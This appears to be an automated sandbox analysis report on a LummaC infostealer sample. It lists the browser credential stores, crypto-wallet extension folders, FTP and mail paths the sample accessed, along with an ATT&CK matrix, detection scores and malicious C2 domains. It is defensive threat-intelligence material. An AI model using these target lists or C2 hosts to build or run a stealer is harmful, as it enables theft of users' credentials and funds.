Source: C:\Users\user\Desktop\b6FArHy7yA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\b6FArHy7yA.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\b6FArHy7yA.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImApp.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\IncrediMail\Identities\	Jump to behavior
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\IncrediMail\Identities\	Jump to behavior
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\IncrediMail\Identities\	Jump to behavior
Source: C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\IncrediMail\Identities\	Jump to behavior

Source: C:\Users\user\Desktop\b6FArHy7yA.exe	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ	Jump to behavior
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ	Jump to behavior
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	Directory queried: C:\Users\user\Documents\SQSJKEBWDT	Jump to behavior
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	Directory queried: C:\Users\user\Documents\SQSJKEBWDT	Jump to behavior

Source: Yara match

File source: Process Memory Space: b6FArHy7yA.exe PID: 6936, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: b6FArHy7yA.exe PID: 6936, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Source: C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImApp.exe	Code function: 7_2_100020A0 #12,sqlite3_step,sqlite3_reset,sqlite3_clear_bindings,sqlite3_finalize,LeaveCriticalSection,	7_2_100020A0
Source: C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImApp.exe	Code function: 7_2_100028F0 #6732,#3991,#1473,#578,#781,#578,sqlite3_bind_parameter_index,#578,	7_2_100028F0
Source: C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImApp.exe	Code function: 7_2_10002D30 #38,#2,sqlite3_bind_text16,	7_2_10002D30
Source: C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImApp.exe	Code function: 7_2_10002DE0 #39,sqlite3_bind_text16,sqlite3_bind_int64,#8,	7_2_10002DE0
Source: C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImApp.exe	Code function: 7_2_100029E0 #30,sqlite3_bind_null,	7_2_100029E0
Source: C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImApp.exe	Code function: 7_2_10002A30 #9,sqlite3_bind_int,	7_2_10002A30
Source: C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImApp.exe	Code function: 7_2_10003A50 #45,sqlite3_step,sqlite3_reset,sqlite3_clear_bindings,	7_2_10003A50
Source: C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImApp.exe	Code function: 7_2_10002A90 #11,sqlite3_bind_int64,	7_2_10002A90
Source: C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImApp.exe	Code function: 7_2_10002AF0 #10,sqlite3_bind_text16,	7_2_10002AF0
Source: C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImApp.exe	Code function: 7_2_10003F40 #4,#310,#2461,#2311,SetFileAttributesW,DeleteFileW,#3,#20,#12,#310,#776,WaitForSingleObject,TlsGetValue,#762,TlsSetValue,WaitForSingleObject,sqlite3_step,sqlite3_reset,sqlite3_clear_bindings,TlsGetValue,#764,TlsSetValue,SetEvent,ReleaseMutex,#578,#17,#310,#2311,#8,#12,#310,#776,#1176,#310,#2461,#2461,#2311,WaitForSingleObject,TlsGetValue,#762,TlsSetValue,WaitForSingleObject,sqlite3_step,sqlite3_reset,sqlite3_clear_bindings,TlsGetValue,#764,TlsSetValue,SetEvent,ReleaseMutex,#578,#578,#17,#5,sqlite3_close,SetFileAttributesW,SetFileAttributesW,#310,#2461,#2311,SetFileAttributesW,DeleteFileW,MoveFileW,MoveFileW,#578,MoveFileW,#578,#16,#578,#1,	7_2_10003F40
Source: C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImApp.exe	Code function: 7_2_10002B50 #32,sqlite3_bind_blob,	7_2_10002B50
Source: C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImApp.exe	Code function: 7_2_10001FA0 #8,sqlite3_step,sqlite3_reset,sqlite3_clear_bindings,sqlite3_finalize,sqlite3_changes,	7_2_10001FA0

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Windows Management Instrumentation	11 DLL Side-Loading	1 Abuse Elevation Control Mechanism	11 Deobfuscate/Decode Files or Information	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	2 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	2 Scheduled Task/Job	11 DLL Side-Loading	1 Abuse Elevation Control Mechanism	1 Credential API Hooking	12 File and Directory Discovery	Remote Desktop Protocol	41 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	22 Command and Scripting Interpreter	Logon Script (Windows)	412 Process Injection	2 Obfuscated Files or Information	11 Input Capture	245 System Information Discovery	SMB/Windows Admin Shares	1 Email Collection	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 Scheduled Task/Job	Login Hook	2 Scheduled Task/Job	11 DLL Side-Loading	NTDS	1 Query Registry	Distributed Component Object Model	1 Credential API Hooking	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	2 PowerShell	Network Logon Script	Network Logon Script	21 Masquerading	LSA Secrets	541 Security Software Discovery	SSH	11 Input Capture	114 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	131 Virtualization/Sandbox Evasion	Cached Domain Credentials	2 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	412 Process Injection	DCSync	131 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
b6FArHy7yA.exe	24%	ReversingLabs	Win32.Infostealer.Babar

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\vamfxsepn	100%	Avira	TR/Crypt.XPACK.Gen
C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\SftTree_IX86_U_60.dll	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\vamfxsepn	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\SftTree_IX86_U_60.dll	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\IMHttpComm.dll	16%	ReversingLabs	Win32.PUA.Perion
C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImABU.dll	16%	ReversingLabs	Win32.PUA.Perion
C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImApp.exe	3%	ReversingLabs
C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImDbU.dll	16%	ReversingLabs	Win32.PUA.Perion
C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImLookExU.dll	16%	ReversingLabs	Win32.PUA.Perion
C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImLookU.dll	4%	ReversingLabs
C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImNtUtilU.dll	16%	ReversingLabs	Win32.PUA.Perion
C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImUtilsU.dll	17%	ReversingLabs	Win32.PUA.Perion
C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImWrappU.dll	14%	ReversingLabs	Win32.PUA.Perion
C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\mfc80u.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\msvcp80.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\msvcr80.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\sqlite3.dll	3%	ReversingLabs
C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\wlessfp1.dll	4%	ReversingLabs
C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\IMHttpComm.dll	16%	ReversingLabs	Win32.PUA.Perion
C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImABU.dll	16%	ReversingLabs	Win32.PUA.Perion
C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImApp.exe	3%	ReversingLabs
C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImDbU.dll	16%	ReversingLabs	Win32.PUA.Perion
C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImLookExU.dll	16%	ReversingLabs	Win32.PUA.Perion
C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImLookU.dll	4%	ReversingLabs
C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImNtUtilU.dll	16%	ReversingLabs	Win32.PUA.Perion
C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImUtilsU.dll	17%	ReversingLabs	Win32.PUA.Perion
C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\ImWrappU.dll	14%	ReversingLabs	Win32.PUA.Perion
C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\mfc80u.dll	0%	ReversingLabs
C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\msvcp80.dll	0%	ReversingLabs
C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\msvcr80.dll	0%	ReversingLabs
C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\sqlite3.dll	3%	ReversingLabs
C:\Users\user\AppData\Roaming\amd64_4c10eeff886a3251\wlessfp1.dll	4%	ReversingLabs

Source	Detection	Scanner	Label
http://www.softelvdm.com/login	0%	Avira URL Cloud	safe
http://mystart.incredimail.com/?loc=ff_search_box_fs&search=	0%	Avira URL Cloud	safe
http://mystart.incredimail.com/tchinese/?search=	0%	Avira URL Cloud	safe
http://www.softelvdm.com/cgibin/store/checkupdate.cgi	0%	Avira URL Cloud	safe
http://mystart.incredimail.com/portuguese/	0%	Avira URL Cloud	safe
http://www.incredibarvuz.com/download.aspPREMIUM_NAMEPlusPLUS_NAMESupportEmailsupport	0%	Avira URL Cloud	safe
https://klipdajemua0.shop/	0%	Avira URL Cloud	safe
http://mystart.incredimail.com/italian/	0%	Avira URL Cloud	safe
http://mystart.incredimail.com/russian/?search=	0%	Avira URL Cloud	safe
http://www.incredimail.com/?id=611853	0%	Avira URL Cloud	safe
https://c3.digital-odyssey.shop/apiM	100%	Avira URL Cloud	malware
http://www8.incredimail.com/report_crash.asp	0%	Avira URL Cloud	safe
http://www.incredimail.com/?id=611852	0%	Avira URL Cloud	safe
http://www.incredimail.com/?id=611857	0%	Avira URL Cloud	safe
http://www.incredimail.com/?id=611856	0%	Avira URL Cloud	safe
https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedbackhttps://avatars	0%	Avira URL Cloud	safe
http://mystart.incredimail.com/portuguese/?search=	0%	Avira URL Cloud	safe
http://mystart.incredimail.com/?loc=ff_address_bar_fs&search=CImFireFoxBrowser::SetFullSetupBrowserA	0%	Avira URL Cloud	safe
https://klipdajemua0.shop/int_clp_inter.txt	0%	Avira URL Cloud	safe
http://www.incredimail.com/?id=611221	0%	Avira URL Cloud	safe
http://www.incredimail.com/?id=611220	0%	Avira URL Cloud	safe
http://mystart.incredimail.com/french/	0%	Avira URL Cloud	safe
https://c3.digital-odyssey.shop/api)0	100%	Avira URL Cloud	malware
http://mystart.incredimail.com/schinese/?search=	0%	Avira URL Cloud	safe
http://mystart.incredimail.com/german/?search=	0%	Avira URL Cloud	safe
http://incredimail.com	0%	Avira URL Cloud	safe
http://mystart.incredimail.com/schinese/	0%	Avira URL Cloud	safe
http://mystart.incredimail.com/dutch/?search=	0%	Avira URL Cloud	safe
http://mystart.incredimail.com/french/?search=	0%	Avira URL Cloud	safe
https://c3.digital-odyssey.shop/	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
360.net	180.163.242.102	true	false	unknown
www.360.net	180.163.242.102	true	false	unknown
steamcommunity.com	104.121.10.34	true	false	high
klipdajemua0.shop	104.21.71.43	true	true	unknown
www.wshifen.com	103.235.47.188	true	false	high
c3.digital-odyssey.shop	104.21.8.82	true	true	unknown
www.baidu.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
blade-govern.sbs	false		high
https://klipdajemua0.shop/int_clp_inter.txt	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	b6FArHy7yA.exe, 00000000.00000003.2376453457.00000000032CC000.00000004.00000800.00020000.00000000.sdmp, b6FArHy7yA.exe, 00000000.00000003.2376518880.00000000032CA000.00000004.00000800.00020000.00000000.sdmp, b6FArHy7yA.exe, 00000000.00000003.2376589776.00000000032CA000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	b6FArHy7yA.exe, 00000000.00000003.2376453457.00000000032CC000.00000004.00000800.00020000.00000000.sdmp, b6FArHy7yA.exe, 00000000.00000003.2376518880.00000000032CA000.00000004.00000800.00020000.00000000.sdmp, b6FArHy7yA.exe, 00000000.00000003.2376589776.00000000032CA000.00000004.00000800.00020000.00000000.sdmp	false		high
https://steamcommunity.com/profiles/76561199210620187	explorer.exe, 0000000D.00000002.4566230311.0000000006018000.00000004.00001000.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.4566230311.000000000600E000.00000004.00001000.00020000.00000000.sdmp	false		high
http://www.softelvdm.com/login	ImApp.exe, 00000007.00000002.3529061747.000000000219B000.00000004.00000001.01000000.00000011.sdmp, ImApp.exe, 00000008.00000002.3743964211.000000000219B000.00000004.00000001.01000000.0000001F.sdmp, ImApp.exe, 0000000B.00000002.3966244073.000000000224B000.00000004.00000001.01000000.0000001F.sdmp, ImApp.exe, 0000000C.00000002.4140491818.000000000219B000.00000004.00000001.01000000.0000001F.sdmp	false	Avira URL Cloud: safe	unknown
https://community.cloudflare.steamstatic.com/public/images/badges/13_gamecollector/1_54.png?v=4	explorer.exe, 0000000D.00000002.4568603004.000000000611C000.00000004.00001000.00020000.00000000.sdmp	false		high
https://www.gstatic.cn/recaptcha/	explorer.exe, 0000000D.00000002.4566230311.00000000060C8000.00000004.00001000.00020000.00000000.sdmp	false		high
http://mystart.incredimail.com/?loc=ff_search_box_fs&search=	ImApp.exe, 00000007.00000002.3547093478.0000000067468000.00000002.00000001.01000000.0000000A.sdmp, ImApp.exe, 00000007.00000003.3521140452.000000000BC03000.00000004.00000001.00020000.00000000.sdmp, ImApp.exe, 00000008.00000002.3758534269.0000000067468000.00000002.00000001.01000000.00000018.sdmp, ImApp.exe, 0000000B.00000002.3974699084.0000000067468000.00000002.00000001.01000000.00000018.sdmp, ImApp.exe, 0000000C.00000002.4152299041.0000000067468000.00000002.00000001.01000000.00000018.sdmp	false	Avira URL Cloud: safe	unknown
http://www.valvesoftware.com/legal.htm	explorer.exe, 0000000D.00000002.4566230311.00000000060B0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://community.cloudflare.steamstatic.com/public/javascript/jquery-1.11.1.min.js?v=gQHVlrK4-jX-&a	explorer.exe, 0000000D.00000002.4566230311.00000000060CE000.00000004.00001000.00020000.00000000.sdmp	false		high
https://www.youtube.com	explorer.exe, 0000000D.00000002.4566230311.00000000060C8000.00000004.00001000.00020000.00000000.sdmp	false		high
https://community.cloudflare.steamstatic.com/public/shared/javascript/auth_refresh.js?v=w6QbwI-5-j2S	explorer.exe, 0000000D.00000002.4566230311.00000000060CE000.00000004.00001000.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.4566230311.0000000006082000.00000004.00001000.00020000.00000000.sdmp	false		high
https://community.cloudflare.steamstatic.com/public/css/globalv2.css?v=i_iuPUaT8LXN&l=english&_cdn=c	explorer.exe, 0000000D.00000002.4566230311.00000000060D2000.00000004.00001000.00020000.00000000.sdmp	false		high
http://mystart.incredimail.com/italian/	ImApp.exe, 0000000C.00000002.4152299041.0000000067468000.00000002.00000001.01000000.00000018.sdmp	false	Avira URL Cloud: safe	unknown
http://mystart.incredimail.com/tchinese/?search=	ImApp.exe, 0000000C.00000002.4152299041.0000000067468000.00000002.00000001.01000000.00000018.sdmp	false	Avira URL Cloud: safe	unknown
https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback	explorer.exe, 0000000D.00000002.4568603004.000000000611C000.00000004.00001000.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.4566230311.00000000060D8000.00000004.00001000.00020000.00000000.sdmp	false		high
https://nuget.org/nuget.exe	powershell.exe, 00000005.00000002.4566667131.0000000005D8D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://shared.cloudflare.steamstatic.com/store_item_assets/steam/apps/39210/2e45b2f419d0beed57ba1ff	explorer.exe, 0000000D.00000002.4569181797.0000000006214000.00000004.00001000.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.4566230311.0000000006045000.00000004.00001000.00020000.00000000.sdmp	false		high
https://avatars.cloudflare.steamstatic.com/f221d75fc9ce646531d6584d794bfd9c580b4809_medium.jpg	explorer.exe, 0000000D.00000002.4569181797.0000000006214000.00000004.00001000.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.4568603004.000000000611C000.00000004.00001000.00020000.00000000.sdmp	false		high
https://community.cloudflare.steamstatic.com/public/javascript/profile.js?v=47omfdMZRDiz&l=english&_	explorer.exe, 0000000D.00000002.4566230311.0000000006082000.00000004.00001000.00020000.00000000.sdmp	false		high
https://s.ytimg.com;	explorer.exe, 0000000D.00000002.4566230311.00000000060C8000.00000004.00001000.00020000.00000000.sdmp	false		high
https://community.cloudflare.steamstatic.com/public/css/skin_1/modalContent.css?v=WXAusLHclDIt&l=eng	explorer.exe, 0000000D.00000002.4566230311.0000000006082000.00000004.00001000.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000005.00000002.4563026463.0000000004D31000.00000004.00000800.00020000.00000000.sdmp	false		high
https://community.cloudflare.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=pbdAKOcD	explorer.exe, 0000000D.00000002.4566230311.00000000060CE000.00000004.00001000.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.4566230311.00000000060D4000.00000004.00001000.00020000.00000000.sdmp	false		high
https://steamcommunity.com/profiles/76561198979992671	explorer.exe, 0000000D.00000002.4566230311.0000000006018000.00000004.00001000.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.4566230311.000000000600E000.00000004.00001000.00020000.00000000.sdmp	false		high
http://www.incredibarvuz.com/download.aspPREMIUM_NAMEPlusPLUS_NAMESupportEmailsupport	ImApp.exe, 00000007.00000002.3546925182.0000000067411000.00000002.00000001.01000000.0000000A.sdmp, ImApp.exe, 00000008.00000002.3758362820.0000000067411000.00000002.00000001.01000000.00000018.sdmp, ImApp.exe, 0000000B.00000002.3974483890.0000000067411000.00000002.00000001.01000000.00000018.sdmp, ImApp.exe, 0000000C.00000002.4152164902.0000000067411000.00000002.00000001.01000000.00000018.sdmp	false	Avira URL Cloud: safe	unknown
